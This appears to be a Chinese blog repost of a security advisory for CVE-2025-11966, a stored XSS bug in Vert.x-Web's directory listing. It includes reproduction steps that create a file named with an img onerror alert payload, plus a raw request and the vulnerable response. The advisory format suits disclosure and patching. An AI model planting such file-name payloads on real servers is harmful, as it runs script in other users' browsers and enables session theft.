Vert.x-Web目录列表存储型XSS漏洞分析

本文详细分析了CVE-2025-11966漏洞,该漏洞存在于Vert.x-Web框架的StaticHandlerImpl组件中,由于文件名未经过适当HTML转义直接嵌入到目录列表页面,导致存储型跨站脚本攻击风险。

Vert.x-Web目录列表存储型XSS漏洞分析

漏洞详情

在StaticHandlerImpl#sendDirectoryListing(…)方法的text/html分支中,文件和目录名称直接嵌入到href、title和链接文本中,没有进行适当的HTML转义。

因此,在攻击者能够控制文件名的环境中,可以注入HTML/JavaScript。只需访问目录列表页面就会触发XSS攻击。

受影响代码

文件: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java

受影响行:

  • 709-713行:normalizedDir构造时未转义
  • 714-731行:<li><a ...>元素直接将文件名插入属性和正文中而未转义
  • 744行:父目录名称构造
  • 746-751行:{directory}、{parent}和{files}未转义直接插入HTML模板

复现步骤

前提条件:

  • 使用StaticHandler启用目录列表(例如:StaticHandler.create("public").setDirectoryListing(true)
  • 攻击者能够在公共目录下创建任意文件名(例如通过上传功能或共享目录)

步骤:

  1. 创建恶意文件名(基于Unix系统的示例):

    1
    2
    
    mkdir -p public
    printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
    
  2. 启动服务器(示例):

    1
    2
    
    Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
    Server: vertx.createHttpServer().requestHandler(router).listen(8890);
    
  3. 验证请求(原始HTTP):

    1
    2
    3
    4
    
    GET /public/ HTTP/1.1
    Host: 127.0.0.1:8890
    Accept: text/html
    Connection: close
    
  4. 响应示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    <ul id="files">
      <li>
        <a href="/public/<img src=x onerror=alert('XSS')>.txt"
           title="<img src=x onerror=alert('XSS')>.txt">
           <img src=x onerror=alert('XSS')>.txt
        </a>
      </li>
      ...
    </ul>
    

当在浏览器中访问/public/时,未转义的文件名被解释为HTML,onerror等事件处理程序会被执行。

潜在影响

存储型XSS

  • 在查看列表页面的用户浏览器上下文中执行任意JavaScript
  • 可能后果:
    • 窃取会话令牌、JWT、localStorage内容或CSRF令牌
    • 使用管理员权限执行未授权操作(用户创建、权限更改、设置修改)
    • 水坑攻击,包括恶意软件分发或向其他页面注入恶意脚本

更容易利用的常见条件

  • 上传的文件直接存放在公开可访问的目录下
  • 共享/同步目录(如NFS、SMB、WebDAV或云同步)被暴露
  • ZIP/TAR存档直接解压到webroot下,并且在生产环境中启用了目录列表

相关CVE

  • CVE-2024-32966
  • CVE-2019-15603

受影响版本

受影响版本:

  • < 4.5.22
  • = 5.0.0, <= 5.0.4

修复版本:

  • 4.5.22
  • 5.0.5

参考链接

严重程度

低危 - CVSS评分:2.3

CVSS v4基础指标: CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

弱点分类

CWE-79: 在网页生成过程中对输入的不当中和(跨站脚本) 产品在将用户可控的输入放置到提供给其他用户的网页输出中之前,没有进行中和或不正确地进行了中和。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计